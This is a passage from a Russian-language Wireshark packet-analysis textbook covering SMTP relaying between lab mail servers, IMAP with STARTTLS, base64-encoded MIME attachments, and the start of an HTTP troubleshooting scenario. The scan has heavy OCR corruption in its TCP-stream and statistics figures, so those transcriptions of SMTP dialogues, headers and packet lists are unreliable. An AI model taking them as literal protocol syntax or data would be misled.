(<CR><LF>.<CR><LF>), чтобы обозначить конец передачи. Почтовое сообще

ние передается открытым текстом, на что посылается код ответа, обозначаю

щий удачный исход передачи. Обратите также внимание на дополнительные 

сведения, включаемые в текст почтового сообщения, в том числе дату, тип 
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содержимого и его кодировку, а также почтовый агент пользователя, связан

ный с передачей данного сообщения. Эти сведения сообщают, что для отправ

ки данного сообщения конечный пользователь воспользовался почтовым 

приложением Mozilla ThunderЬird 8. 
По окончании передачи клиент электронной почты разрывает соединение 

по протоколу SMTP, выдавая команду QUIT без параметров в пакете 18. На это 
сервер отвечает в пакете 19 кодом состояния 221 с параметром 2. О. О Вуе, обо
значающим, что канал передачи данных закрывается Ф. В итоге соединение 

по протоколу ТСР корректно разрывается в пакетах 20-23. 

Второй этап: от локального к удаленному серверу 

Файл перехвата mail _ 

sender_server_2.pcapng 

Рассмотрим далее тот же самый сценарий с точки 

зрения локального сервера электронной почты, 

обслуживающего домен skynet. local по адресу 

172 .16 .16. 221. Соответствующий сетевой трафик перехвачен в файле mail _ 
sender _ server _ 2. pcapng непосредственно на данном сервере. Как и следова
ло ожидать, первые 20 пакетов или около того зеркально отображают пере
хват сетевого трафика на первом этапе рассматриваемого здесь процесса, по-

скольку это такие же самые пакеты, перехваченные из другого источника. 

Если бы отправляемое почтовое сообщение предназначалось для другого 

почтового ящика в домене skynet. local, то мы бы не увидели больше ника

кого сетевого трафика по протоколу SMTP. Вместо этого мы обнаружили бы 
только извлечение почтового сообщения клиентом электронной почты по 

протоколу РОР3 или IMAP. Но поскольку данное сообщение предназначено 
для домена cyЬerdyne. local, локальный SМТР-сервер должен передать полу

ченное сообщение удаленному SМТР-серверу, ответственному за этот домен. 

И этот процесс начинается в пакете 22 с процедуры трехэтапного процесса 
установки связи по протоколу ТСР между локальным почтовым сервером, на

ходящимся по адресу 172 .16 .16. 221, и удаленным почтовым сервером, распо

ложенным по адресу 172 .16 .16. 231. 

l1!QЩ!pMШll В реалъном сценарии сервер электронной почты обнаруживает другой 

почтовый сервер, исполъзуя специалъный тип записи DNS МХ (тail 

exchaпge), ответственной за обмен почтой. Но данный сценарий был 

воссоздан в лабораторной среде, где IР-адрес удаленного сервера электрон

ной почты бы.л предваритш~ъно настроен на лтсалъном сервере, и поэ

тому данный сетевой трафик здесъ не будет виден. Если вы проводите 

диагностику доставки электронной почты, то должны приниматъ во 

внимание не толъко проблемы, связанные с конкретным проттсолом 

электронной почты, но и с проттсолом DNS. 



Как только будет установлено соединение, в панели Packet List можно обна

ружить, что для доставки почтового сообщения к удаленному серверу приме

няется протокол SMTP. Этот диалог лучше наблюдать, проследив поток дан
ных по протоколу ТСР для выполнения транзакции, как показано на рис. 9.31. 
Если потребуется помощь в изоляции данного соединения, примените 

фильтр, указав выражение tcp. stream = 1 на панели фильтров . 

• Wiresha.t · Follow ТСР Stream (tcp.stream eq 1) · mail.=der_sorver_2 

220 uile2 ЕS/1ТР Partfix {UЬuntu) О 
е111.о -пе1 f} 
25e-oil.&2 
250-PIPEtlNI/16 
258-SIZE 182400118 
250-VRFV С) 
258-ЕТR 

2S8-STARTTLS 
ZS8-fNНAllCfDSTA1\JSCOOE5 

2S8-86TTМIМf 

256 !)SН 
111\IL fR!»I: <sonders@slcynet. local> SIZE=732 
RCPT TO:.;sondersf<:yЬ..rdyne. locol> ORCPT=rfc822;sonder-sf<:yberdyne. local 
DATA 
2se 2.1.8 О1\ 
~se 2.1.s Ok 
354 End <lato with <CR><lf>.<CR><Lf> 
Received: froo [172.16.16.225] (unk.nown [172.16.16.225)) 

Ьу aail81 (Postfix) with ЕSНТР id 931С440005 

о 

for <s•nders8cyЬ..гdyn".local>; Tue, 29 Dec 2815 14:13:51 -8580 (EST) 
То: Chris Sanders <sanders@cyЬerdyne. local> Q 
frao: Chris Sanders <sanders@slcynet. local> 
Subject: Н..lр! 

~ssoge-ro: <56820688.4'!18607@sltynet. locol> 
O.te: Tue, 29 Dec 2815 14:14:88 -8580 
User-Agent: Нc>zilla/S.e (Windows IП 10.е; 1Ц164; rv:38.e) ~cko/28100181 
ТhunderЫrd/38.S.e 

IШlf-Version: 1.8 
Content-Type: text/pl1in; charset=utf-8; forn•t=flowed 
Conterrt-Transfer-Enco<ling: 7Ьit 

I need your help. The syst.,. has Ь..соR self awore. On second thought, 
why " I sending this frao а system that сап .ast certainly intercept 
it? Oh well .•.. 

QUIТ 

250 2.е.е Ok: queu~ es 994C8617DF 
221 2.е.е Вуе 

х 

Рис. 9.3 J. Просмотр потока донных по протоколу ТСР между 
локальным и удаленным серверами электронной почты 

Данная транзакция очень похожа на ту, что приведена на рис. 9.30. По су
ществу, почтовое сообщение передается между серверами. Удаленный сервер 

идентифицирует себя как шаi102 О, а локальный сервер - как шailOl 8. Они 
обмениваются списком поддерживаемых команд О, после чего сообщение 



полностью передается вместе с дополнительными заголовками из предыду

щей транзакции, добавляемыми в начале почтового сообщения выше строки 

То (Кому) 8. И все это происходит в промежутке между пакетами 27 и 35, по
сле чего происходит разрыв связи по протоколу ТСР для закрытия канала пе

ре;~ачи данных. 

В конечном счете для сервера вообще нс имеет значения, поступает ли со

общение от клиента электронной почты или другого SМТР-сервера, поэтому 

здесь применяются те же самые правила и процедуры, кроме установленных 

ограничений на управление доступом. В действительности на локальном и 

удаленном серверах электронной почты могут и не поддерживаться одни и 

те же функциональные средства, а возможно, эти серверы базируются на со

вершенно разных платформах. Именно ноэтому так важен первоначальный 

обмен данными по протоколу SMTP. Ведь он позволяет серверу получателя 
передать отправителю поддерживаемый на нем перечень функциональных 

средств. Если SМТР-клиенту или серверу известны функциональные средства, 

поддерживаемые на сервере получателя, то команды SMTP могут быть откор
ректированы таким образом, чтобы наиболее эффективно передать почтовое 

сообщение. Это дает возможность широко применять протокол SMTP для пе
ресылки электронной почты при использовании любых клиентских и сервер

ных решений, не особенно разбираясь в структуре сети получателя. 

Третий этап: от удаленноrо сервера к удаленному клиенту 

Фай.л nepexвamamail_ Итак, почтовое сообщение достигло удаленного 

receiver_server_З.pcapnq сервера, ответственного за доставку электрон-

ной почты в почтовые ящики, находящиеся в до

мене cyЬerdyne. local. Проанализируем теперь перехваченные пакеты из 
файла mail _ recei ver _ server _ 3. pcapng с точки зрения удаленного сервера 

(рис. 9.32). 
Первые 15 пакетов из анализируемого здесь перехваченного трафика 

очень похожи на рассмотренные ранее пакеты, поскольку они представляют 

тот же самый обмен сообщениями, где адрес отправителя относится к локаль

ному серверу электронной почты О, а адрес получателя - к удаленному сер

веру электронной почты 8. Как только этот обмен завершится, SМТР-сервер 
может поместить полученное сообщение в соответствующий почтовый ящик, 

чтобы получатель, для которого оно предназначается, смог извлечь его оттуда 

с помощью своего клиента электронной почты. 

Как упоминалось ранее, протокол SMTP применяется, главным образом, 
для пересылки электронной почты, и поэтому он чаще всего употребляется 

именно для этой цели. Извлечение электронной почты из почтового ящика 

на сервере нельзя ограничить определенными рамками. Поэтому, вследствие 



возникающих здесь различий для решения данной задачи предназначено не

сколько протоколов. К числу наиболее употребительных относятся протоко

лы РОР3 (Post Office Protoco\ versioн 3- почтовый нротокол версии 3) и IMAP 
(Iпterпet Message Access Рюtосо\ - нротокол доступа к сообщениям в Интер

нете). В рассматриваемом здесь примере удаленный клиент электронной по

чты извлекает сообщения из почтового сервера, используя протокол IMAP в 
пакетах 16-34 . 

• Wiresh•rk · Follow ТСР Stro•m (tcp.stro•m •q О). m••l_rocoivtr_шvor_3 

229 Nil02 ЕSНТР Postfix (UЬuntu) о 
ЕНLО "н01е 
:i.se-uil02 
250-PIPELШING 

250-SIZE 1&24890е 
25&-VRFY 
2S0-ЕТRН 

25&-STARTTts 
250-ENIWICEDSTATUSCOOES 
25&·88IТl1IHE 

250 оsн 
l'AIL FROН:<sandors@skynet. locol> SIZE•732 
RCPT TO:<sandersikYberdyne .local> ORCPT•rfc822; sandorsfcyberdyne. local 
DATA 
2se 2.1.е о 
250 2.1.5 °" 
З~ End dota with <CR><lf>.<CR><lf> 
Received: ff'Oll (172.1&.16.225] (unknown [172.16.16.225]) 

Ьу aail&l (Postfix) with Е5НТР id 931С440005 

о 

for <sande,..y~rdyne.local>; Tu•, 29 О.с 2015 14:13:51 ·0500 
(Е5Т) 
То: Chris Sand•rs <sande,..yberdyno. local) 
frOll: Chris Sanders <sanders@skynot. loc1l> 
Subject: Нelpl 
Нessag•·ID: <56820880. 40'18687@skynot. local> 
D•t<': Tue, 29 D<'C 2015 14:14:08 ·0508 
User-Agent: нozilla/S.0 (Windows /IТ 10.0; WOW64; rv:ЭS.0) Gocko/28100161 
ThunderЬird/38. 5. 0 

Hit\E·Version: 1.8 
Content- Туре: text/plain; charset•utf ·В; for"ot..flowed 
Content-Tronsfor-Encodi111: 7Ыt 

I need your help. The syst.,. h1s Ьосомо solf owore. On second thought, 
why 011 I sending this ff'Oll о syste11 thot can 01Dst e<rt1inly int~rc~pt 
it? Oh .... 11 •..• 

х 

Рис. 9.32. Просмотр потока данных по протоколу ТСР между 
локальным и удаленным серверами электронной почты 

Протокол IМАР в этой книге не рассматривается, но в данном приме

ре этого и не требуется, поскольку обмен данными зашифрован. Если про

анализировать пакет 21, то можно заметить, что клиент, находящийся по 
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адресу 172 .16 .16. 235, посылает команду STARTTLS серверу электронной по

чты, расположенному по адресу 172 .16 .16 .231, в пакете 21 О, как показано на 
рис. 9.33. 

". 

20 11.819478 11'1.16.16.235 
21 U.171697 172.16.16.235 
22 J.1.8117l1 172.16.16.2.)1 
23 11.871.ЭМ 172.16.16 • .Ul 
24 11.8988Q.4 172.16.16.235 
25 11.8.927'&0 171.16.16.231 
26 11.911176 172.16.16.235 
27 11.9112.13 172.16.16.231 
28 11. 'Э 37139 172.16.16.235 
29 11. 937295 172.16.16.2.31 

66 51147 ~ 14:J [АСК.] ~·1 Ack•1 ktn-8SS)6 l~n-& 
178 Aesponи; "ок (CAPABltIТY 1№'4t'«Vl UtfRAL+ SASt·IA ~06U8·Rftf.IUW.S 1D awtlf-

172.16.1.б.2.31 ТСР 68 SU47 .-. 143 (АСК] Щ•l Aclt•U~ Win-&SS36 L~-cl 
172.16.tб.231 IМАР 66 A~utst: 1 STARfН.S О 
172. 16.16.235 ТСР 54 143 4 SJ147 (ACk] ~125 Act•13 Win•l:9312 \.et'-e 
172.16.16.235 11'\\Р 87 Respons•: 1 О1( 8e&1n TL5 nc11otUU.on now. 
171.16.lfi.231 H.Svl.2 2.19 Clierrt tkllo 
172.16.16.235 
IП.16.16.23! 

172.16.16.2.ЗS 

172.16.16.231 
172.1.6.16.235 

n.svl.2 
n.svl.2 
TLS'o11-.2 
TLSvl.2 
n.s ... 1.2 

1447 ~rv~r ~llo" (l!'rtificet~" Se-n-~ К1!'1 E1tchмip-, ~ ~lto Done: 
212 Clil!'nt Кеу Exchattae, dмn~ CipЬtr Spe.:, ttello lt~st" tielJo R.equot О 
296 HN Ses$ion Тicltet, Ch•nse cipnl!'r- Spec., Encrypted Нllnd~h•k~ Мirss•• 

~ :~~~:~~= :::: о 
Рис. 9.33. Команда STARTTLS обозначает, что сетевой трафик по протоколу /МАР 

будет зашифрован 

Данная команда извещает сервер, что клиенту требуется безопасно извлечь 

сообщения, используя шифрование по протоколу TLS. Между отдельными ко
нечными точками в пакетах 24-27 согласуется защищенный канал связи 8, 
а в остальных пакетах сообщение безопасно извлекается по протоколу TLS 
(Transport Layer Security - протокол защиты транспортного уровня) О. Если 

щелкнуть на любом и:~ этих пакетов, чтобы просмотреть данные или попы

таться проследить их поток по протоколу ТСР (рис. 9.34), то в конечном ито
ге можно обнаружить неудобочитаемое содержимое, поскольку электронная 

почта защищена от перехвата злоумышленниками, которые могут попытаться 

похитить или проанализировать сетевой трафик в злонамеренных целях. Как 

только эти завершающие пакеты будут получены, процесс отправки почтово

го сообщения пользователем в одном домене пользователю в другом домене 

завершится. 

Отправка вложений по протоколу SMTP 
Файл перехвата mail _ 

sender_attachment.pcapnq 

Протокол SMTP никогда не предназначался в ка
честве механизма для передачи файлов, но про-

стота отправки файлов по электронной почте оз

начает, что он стал для многих основным механизмом обмена. Рассмотрим крат

кий пример отправки файла на уровне пакетов с помощью протокола SMTP. 
Как демонстрируется в примере из файла перехвата пакетов mail _ sender _ 

а t tachmen t. pcapng, пользователь посылает сообщение электронной почты из 
своего клиента, находящегося по адресу 172 .16 .16. 225, другому клиенту в той 
же самой сети через локальный почтовый SМТР-сервер, расположенный по 

адресу 172 .16 .16. 221. Это сообщение содержит мало текста и включает в себя 
вложенный файл изображения. 
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• Vlireshark · Follow ТСР Stream (tcp.stream eq 1) · m.til_rкervtr_servtr_З о х 

• <Ж (CAPAВILIТY 11\AP4rrv1 tIТERAL+ SASt·IR LOOIH-REFERRAt5 !() ЕНА8tЕ !DLE STдRTTtS LOGПID SAl!tEO] Oovecot (UЬuntu) " 
eady. 

1 STARTTLS 
1 ок Begin TLS negotiat1on now • 
• • • • • • • • • • • " •• # • • L •••• ·\ ••• g&.H 
." ..... $." "+./. 

"".3.9./.S . 
. . . ] ....... ".uil82.cyЬerdyne-. local ..... . 
.............. ···•··· ........ " 
••••.••...• . •.•• . ...••• • " •• А .•• а •••••• Т •• о .. W .. ... Р+ .• О ..••• " .v .. " . . .• J ... . ..... " . ...•....•• # • . • •• • ••••.• •• .•. 

е. "в ..... ".. "h"4"t& 
•.н .. 

"" .е.1.е" .u . 
. "Dove-cot •il server1 .е 
.• u ....... 11021.8 
. . u .... uilBZlИI. • .Н .. 

• • . rootjcyЬ..Гdyne. loc•l0 •. 
1S1223210614Z. 
251222l10614Z6e1 .В •.• U . 
. . OovecGt •il serverl.e 
•. u ....... 11021.1 
•• u ....... н02ае1. •.н .. 

• . . rootfcyЬ.rdyne. local0 .• "0 
•.н . 

.... "."0 .. 
• • • • • • • 06 .•• " .•• Id •• •т ... . Н;. R • . •Р· •• "х .. Уе.dЗGН\18 ••• о .. <. .•••• • > ••••..• р .. 
. . . h./u.: .Qa .. ·•·. · . • G •• 5[•. q.A.y .• ( 
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Рис. 9.34. Сетевой трафик по протоколу /МАР шифруется, когда клиент загружает 
почтовое сообщение 

Отправка вложения по протоколу SMTP практически ничем не отличает· 
ся от отправки текста . Все эти данные предназначаются для сервера, и хотя 

они обычно подвергаются специальной кодировке, отправной точкой для их 

анализа по-прежнему является команда DATA. Чтобы посмотреть, как это про· 

исходит на практике, откройте упомянутый выше файл перехвата и проследи· 

те поток данных по протоколу ТСР для выполнения отдельной транзакции по 

протоколу SMTP. Этот 11оток приведен на рис. 9.35. 
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• Wiroshark · Follow ТСР Stroam (tcp.stream oq 0). mail_sendor_attachment 

228 1Uil8l ЕSМТР Pos tfix 
EHLO (172.lб.lб.225] 
2S8-moil8l 
250-РIРЕLПШ/6 

258-SIZE 10240000 
258-VRFY 
250-EТRN 

250-STARTTLS 
258-ENIWICEOSTAТUSCOOES 

258-SВПМIМЕ 

258 OSN 
НAIL FROМ: <sonders@slcynet. local> SIZE=76б92 
250 2.1.0 Ok 
RCPT ТО: <ppa@slcynet. local> 
258 2.1.5 Ok 
DATA 
354 End data with <CR><Lf>.<CR><LF> 
То: ppa@slcynet. local 
frota: Chris Sanders <sonders@slcynet. local> 
Subject: New Cowork•r 
l\essag•-ID: <5б849222.4000699@slcyn•t. local> 
Date: Wed, 38 Dec 2815 21: 25: 38 -0500 

о 

User·Agerтt: Нozilla/5.8 (Windows №!' 18.8; IIOW64· rv:38.8) Gecko/28100181 
Thundorbird/38. 5. 8 

l\IHE-Vorsion: 1.0 
Content-Type: multipart/adxed; О 
Ьoundary="------------058487880301008588070000" 

This is а toUlti-part nessage in НI11Е format. 
-- -- - - - --- - ---858407080381008588070008 
Content-Type: text/plain; charset•utf-8; for,.,,t=flowed 
Content-Transfer-Encoding: 7bit 

А new guy staгted this week. There is something different aЬout hin, but 
I сап' t quite figure i t out. Every tillle he sees те he asks for ту 
clothes, ту Ьoots, and ту 1110torcycle. I don 't even own • 1110torcycle ! 
took а quick picture and have attached it here. наvе you se•n this guy 
Ьefore? 

- - - - --- - - - -- --858487888381008500870008 
Content-Type: image/jpeg; ф 

name="nl!!WSUY. jpg" 
Content-Transfer-Encoding: Ьоsеб4 0 
Cont:~nt-Oisposition: attilchRnt; 

f ilena8e="newguy. jpg" 

/9j/4дNlSk2JRgA8AQAAAQABAAD/2wBDAAНCA~EВQgfВQQEВQoНВwYIOAol1 
DAsKCwsNOhIQDQ4RDgsLEBYQER/1JFRUllDA8XGBYUGBIUFRT /2wВDAQНEBAUEВQkFВQkUDQsN 
FВQUF ВQUFВQUFВQUf ВQUFВQUFВQUf ВQUFВQUf BQUFВQUFВQUF ВQUFBQUFВQUFВQUF ВТ /wAAR 
CAfaAoк:OA5IAAhEBAxEB/8QAНwAAAQUBAQEBAQEA••••••••••ECAжQFBgcICQoL/ВQAtRAA 

AgEDAwii:д..UfBAQAAAF9AQIDAAQRBRihNJEGElfhByJxFDKBkaEII0КXwRVS8fAkl12JyggkK А 
fhcYGRolJicoKSo8NТY300kбQ8RFRkdISUpТVFVWVlh~kZWZnaGlqc3Rldnd4eXqDhIWG ~ 
h4iJipКТlJ\oWl5iZ11qKjp1МwpбipqrKztlW2t7i5usLOXМXGx8jJytl ТlNXW19jZ2uHi4+Tl 

Sufoбerx8VP89fbз+Pnб/~EAAwEBAQEBAQEBAQ••••••••ECAжQFBgcICQol/8QAtREA 
AgECBAQDВAcFBAQAAQJ3AAECAxEEBSExBhJВUQdhcR/'\illoEIFEKRoЫ!BCSl1zUvAVYntRChYk 
IIOEl8RcYGRooJygpKjU2Nzg50kNERUZНSElКU1RWldYWVpjZGVllZ2hpanN8dXZ3eНlбgoOf 
hYaHiI11KkpOUlZoXЯIJ111aoqOkpaanqКmqsr08tbaЗuU!бwsPExcЬttyНnK8tPUldЬX2Jjna4uPk 
Sebn6Dnq8vP09fbЗ+Pnб/9oADд/'IBAAIRAxEAPw08+LЗGRjpXd/CH1Nx5c2wНPRjjNcfdIOB 

х 

HrV ТZ вне r t У8 tilu- У frn El fh h е " 
J4d.ttpЬ{sJ 7_..,"pkr(sJ 11-... 

Рис. 9.35. Отправка пользователем вложения по протоколу SMTP 



Данный пример начинается, аналогично предыдущим примерам, с иденти

фикации службы и обмена поддерживаемыми протоколами. Как только кли

ент будет готов передать почтовое сообщение, он сделает это, предоставив 

адреса отправителя и получателя и послав команду DA'l'A, предписывающую 

серверу открыть буфер для получения информации. А дальше рассматривае

мый здесь процесс несколько отличается. 

В предыдущем примере клиент передавал текст непосредственно сер

веру, а в данном примере клиент должен отправить сообщение в текстовом 

виде наряду с двоичными данными, связанными с вложением изображения. 

Чтобы это произошло, он обозначает в поле Content-'l'ype тип своего со

держимого как шultipart/mixed с заданной границей ------------------
050407080301000500070000 О. Этим серверу сообщается, что ему передаются 
разнотипные данные со своим особым типом MIME и кодировкой и что каж
дый тип данных будет отделен от другого границей с указанным значением. 

Следовательно, когда эти данные получит другой почтовый клиент, он будет 

знать, как интерпретировать их, исходя из заданных границ, особого типа 

MIME и кодировки, указанных в каждом фрагменте данных. 
Почтовое сообщение в рассматриваемом здесь примере состоит из двух 

отдельных частей. В первой части содержится сам текст сообщения, поэтому 

она обозначается типом содержимого text/plain 8. После этого следует мар
кер границы и начинается новая часть сообщения О. В этой части содержит

ся файл изображения, поэтому она обозначается типом содержимого i.Dage/ 
jpeg О. Следует также иметь в виду, что в поле Content-'l'ransfer-Encoding 

(Кодировка передаваемого содержимого) установлено значение base64 О. 
Это означает, что полученные данные должны быть преобразованы перед 

анализом их представления из формата Base-64 в JPEG. А в остальную часть 
передаваемых данных входит закодированный файл изображения 0. 

Эту кодировку не следует путать с шифрованием для защиты данных. Ко

дировка Base-64 почти мгновенно обратима, поэтому любой злоумышленник, 
перехвативший подобный сетевой трафик, сумеет извлечь из него файл изо

бражения без особых усилий. Если же файл изображения требуется извлечь 

из перехваченного пакета самостоятельно, обратитесь за справкой к разделу 

"Троянская программа удаленного доступа" главы 12, "Анализ пакетов на без
опасность", где рассматривается аналогичный сценарий извлечения изобра

жения из передаваемого по протоколу НТТР файла. Прочитав этот раздел, 

вернитесь к рассматриваемому здесь файлу изображения, чтобы попытаться 

выявить нового таинственного соратника данного пользователя. 
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Заключительные соображения 
В этой главе были представлены наиболее распространенные протоколы, 

с которыми приходится иметь дело, анализируя сетевой трафик на уровне 

приложений. А в последующих главах будут исследованы новые протоколы и 

дополнительные возможности упомянутых здесь протоколов при рассмотре

нии целого ряда реальных сценариев работы в сети. 

Для более углубленного изучения отдельных протоколов рекомендуется 

ознакомиться с их спецификациями в соответствующих документах RFC или 
прочитать книгу Дугласа Камера Сети ТСР //Р, том 1. Припц,ипы, протоколы и 
структура, 4-е издапие (пер. с англ. ИД "Вильяме", 2003 г.). См. также перечень 
учебных ресурсов в приложении А. 



1 
ОСНОВНЫЕ РЕАЛЬНЫЕ СUЕНАРИИ 

Начиная с этой главы, мы обратимся непосредственно 

к анализу пакетов в Wireshark для выявления настоящих 
затруднений, возникающих в сети. На примерах реаль

ных сценариев подобных затруднений будет описан их кон

текст и предоставлены сведения, доступные для анализа в момент возникно

вения этих затруднений. 

Заложив прочное основание, мы перейдем к анализу, описав сначала мето

дику перехвата подходящих пакетов, а затем весь процесс работы в направле

нии диагностики сети. Как только анализ будет завершен, мы укажем возмож

ные решения и вкратце рассмотрим извлеченные уроки. 

Не следует, однако, забывать, что анализ пакетов является весьма динамич

ным процессом. Поэтому методики, применяемые для анализа пакетов в ка

ждом рассматриваемом здесь сценарии, могут отличаться от тех, которыми, 

возможно, пользуетесь вы. Ведь каждый подходит к осмыслению задачи и 

находит ее решение по-своему. Самое главное, чтобы анализ привел к разре

шению возникшего затруднения. Но даже если он и не привел к удаче, очень 

важно учиться и на неудачах. Ведь опыт приобретается именно тогда, когда 

мы получаем не то, что нам нужно. 

Кроме того, большинство затруднений, обсуждаемых в этой главе, могут 



я нашел полезным исследовать типичные затруднения нетипичными способа

ми, используя методики анализа пакетов. Именно поэтому здесь представле

ны вашему вниманию реальные сценарии работы в сети. 

Отсутствие веб-содержимоrо 
Файл перехвата http_ 
espn_fail.pcapnq 

В первом из рассматриваемых здесь сценариев пользо

ватель Пит Пакет является большим поклонником уни

верситетского баскетбола. Он не привык вставать и 

ложиться поздно, из-за чего нередко нропускает игры конференции Западно

го Побережья. Поэтому каждое утро он прежде всего садится за свою домаш

ний компьютер, чтобы посетить веб-страницу спортивного телеканала ESPN 
по адресу http://www.espn.com/ и посмотреть результаты игр, проведенных 
накануне поздно вечером. Просматривая как-то утром упомянутую выше стра

ницу, Пит обнаружил, что она долго загружается, а когда наконец-то загрузит

ся, большинство изображений и прочего содержимого на ней отсутствует 

(рис. 10.1). Итак, поможем Питу продиагностировать возникшее затруднение. 

< 
> 

ESPN; Тhе \Yof'ldwkie Le; Х 

С ~ [j espn.go.com 

ESPN 
'С bl) 'т eorne ot SuЬmit 

· ~ 
• Ш"1. 
· ~ 
· ~ 
·~ 
· ~ 
· ~ 

о ш;длм 

о~ 

Рис. 1 О. 1. Неудачно загруженная веб-страница спортивноrо телеканала ESPN 



Подключение к сети 

Данное затруднение возникло только на компьютере Пита и не оказало 

влияния на других пользователей, поэтому начнем с перехвата пакетов непо

средственно в этой конечной точке сети. С этой целью установим Wiresl1ark 
и перехватим пакеты при просмотре веб-сайта ESPN. Эти пакеты находятся в 
файле перехвата http _ espn _ fail .pcapng. 

Анализ 

Нам известно, что Пит не в состоянии просматривать содержимое веб-стра

ницы, которую он посещает, и поэтому мы должны проанализировать про

токол НТТР. Если вы читали предыдущую главу, то должны иметь основное 

представление о том, как вьш1ядит сетевой трафик по протоколу НТТР между 

клиентом и сервером. Начать его анализ лучше всего с НТТР-запросов, посы

лаемых удаленному серверу. С этой целью можно применить фильтр запро

сов по методу GET, введя выражение http.request.method = "GET" на панели 
фильтров. Хотя это можно сделать проще, выбрав команду Statisticst::>HTTPt::>Re

quests (Статистикас:>НТТРс:>Запросы) из главного меню . 

• Wireshark · Requests · http __ espn_fail 
~~~--~--

Topic / ltem 

..- НТТР Requests Ьу НТТР Host 
..- www.espn.com 

1 
..- espn.go.com 

/ 
..- cdn.optimizely.com 

/]s/310987714.js 
..- assets.espn.go.com 

Л/columnists/kapadia_sheil_m .j pg 

..- a4.espncdn.com 
/comblner/i?img= %2Fphoto%2F2014 %2F0806 %2 Fnfl_g_colts5_cr _ 1296x729.jpg&w=55 

..- a2.espncdn.com 
/comblner/i?img=%2Fmedia%2Fmotion%2F2016%2F0108%2Fdm_ 160108_ Tralner_shouleo 

..- а1 .espncdn.com 
/comblner/i?img=%2Fphoto%2F2016%2F0108%2Fsubzero_5x2.png&w=1296&h=518&sci;, 

Display filter: Enter а display fiiter ... 

Сору Save as". Close 

Рис. 10.2. Просмотр НТТР-запросов на веб-сайт ESPN 
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Как следует из краткого обзора перехваченного трафика, приведенного на 

рис. 10.2, он ограничивается семью различными НТТР-запросами, причем все 
они выглядят так, как будто они связаны с веб-сайтом ESPN. Каждый НП'Р-за
прос содержит символьную строку espn в имени указанного домена, за исклю
чением домена cdn. opti.mizely. com, который относится к сети доставки содер
жимого (Content Deliveгy Network, CDN), применяемой для доставки рекламы 
на многие сайты. Просматривая веб-сайты, на которых размещается реклама 

или другое внешнее содержимое, можно нередко увидеть запросы к различ

ным сетям CDN. 
В отсутствие явных признаков для прослеживания возникшего затрудне

ния перейдем к следующей стадии, которая заключается в просмотре иерар

хии протоколов в файле перехвата. С этой целью выберите команду Statis

ticsc:>Protocol Hierarchy из главного меню. Это даст возможность выявить непред

виденные протоколы или особые распределения сетевого трафика по прото

колам (рис. 10.3). Следует, однако, иметь в виду, что отображение иерархии 
протоколов на экране зависит от применяемого в настоящий момент филь

тра. Поэтому очистите применявшийся ранее фильтр, чтобы получить пред

полагаемые результаты по всем перехваченным пакетам. 

' . Pro10ool 

Wireshark · Protocol Hiorarchy Stвtlstics · http_espn. fail 

1 • Frame 
..,. Ethernet 

..,. lntemet Protocol Verslon 4 

• User Datagrвm Protocol 

Domaln Name System 
• Transmlsslon Control Protocol 

.,. Нypertext Trвnsfer Protocot 

PortaЫe Network Graphlcs 
Une-Ьased text dвta 

' Percent Packet• 

100.0 
100.О 

100.0 
2.5 
2.5 

JPEG Flle lnterchange Fonnat 

97.5 
2.5 
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0.5 
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Сору 

p;et. 
569 
569 
569 
14 
14 
555 
t4 
1 
3 

-t8yt88 

100.О 

100.О 

1000 
0.5 
0.5 

99.5 
2.4 
0.1 
0.5 
о.в 

IЗyt• &ta/1 

357205 30 k 
357205 30 k 
357205 30 k 
1627 136 
1627 136 
355578 29 k 
8460 712 
487 41 
1832 137 
2962 249 

Рис. 10.3. Просмотр иерархии протоколов в текущем сеансе 

14 
541 

Close 

Данная иерархия протоколов не особенно сложна, и поэтому можно очень 

быстро выяснить, что в ней действуют лишь два протокола уровня приложе

ний: НТТР и DNS. Как пояснялось в главе 9, "Распространенные протоколы 
верхнего уровня", протокол DNS служит для преобразования доменных имен 
в IР-адреса. Так, при просмотре веб-сайта по адресу h t tp: / /www.espn.com/ в 
системе может возникнуть потребность отправить ОNS-запрос, чтобы найти 

IР-адрес удаленного веб-сервера, если он еще неизвестен. И как только будет 

получен DNS-ответ, содержащаяся в нем информация может быть введена в 

локальный кеш, после чего может быть начата передача данных по протоколу 

НТТР (с помощью протокола ТСР). 



Несмотря на то что здесь ничего вроде бы не выглядит необычно, особого 

внимания все же заслуживают 14 пакетов DNS. В частности, DNS-зaпpoc един
ственного доменного имени, как правило, содержится в одном пакете, как, 

впрочем, и ответ на этот запрос, если только он не очень большой, и тогда в 

протоколе DNS будет употреблен протокол ТСР. А поскольку в данном случае 
имеется 14 пакетов DNS, то вполне возможно, что из них было сформировано 
семь DNS-запросов и семь ответов на них, что в итоге составляет 14 пакетов. 
На рис. 10.2 были показаны НТТР-запросы к семи разным доменам, но ведь 
Пит ввел единственный URL в окне своего браузера. Почему же были сделаны 
все остальные, лишние запросы? 

В идеальном случае для посещения веб-страницы было бы достаточно запро

сить один сервер, чтобы извлечь ее содержимое в течение одного НТТР-диа

лога. Но в действительности отдельная веб-<:траница может предоставить со

держимое, размещаемое на нескольких серверах. Все текстовое содержимое 

может быть размещено в одном месте, графика - в другом, а встроенные ви

деозаписи - в третьем. И это нс считая рекламу, которая может размещаться 

на десятках серверов многих поставщиков. Всякий раз, когда НТТР-клиент 

выполняет синтаксический анализ НТМL-кода и обнаруживает ссылку на со

держимое из другого хоста, он попытается запросить содержимое у этого хо

ста, что приведет к формированию дополнительных DNS-запросов и соответ

ствующих НТТР-запросов. Именно это и произошло, когда Пит посетил веб

сайт ESPN. И хотя он намеревался просмотреть содержимое только из одного 
источника, в коде HTML были обнаружены ссылки на дополнительное содер
жимое, и браузер Пита автоматически запросил это содержимое из многих 

других доменов. 

Итак, выяснив причину появления всех лишних запросов, исследуем далее 

отдельные диалоги, связанные с каждым запросом, выбрав команду StatisticsQ 

Conversations из главного меню. Просмотр окна Conversations (рис. 10.4) дает 
главный ключ к разгадке . 

• 
Ethernet · 1 1Pv6 ТСР · 16 UDP·7 

Addrese А " Addreu В Pac:kets Bytes Р-;;;t°1д- В ByteeA .... В Packets В - А ~ ~ Ouratlon 

4.2.2.1 172.16.16.154 14 1627 7 1106 7 521 0.000000000 0.863869 
68.71 .212.156 172.1 6.16.154 13 2032 1200 632 0.027167000 90.675161 

69.31 .75.194 172.16.16.154 19 9949 10 8942 1007 0.579477000 90.659273 
72.21.91 .6 172.16.16.154 92 70 k 49 67 k 43 3170 0.526687000 60.553187 
72.246.56.35 172.16.16.154 247 198 k 134 186 k 113 6315 0.527902000 90.606341 
72.246.56.63 172.16.16.154 30 20 k 15 19 k 15 1516 0.659866000 45.344876 

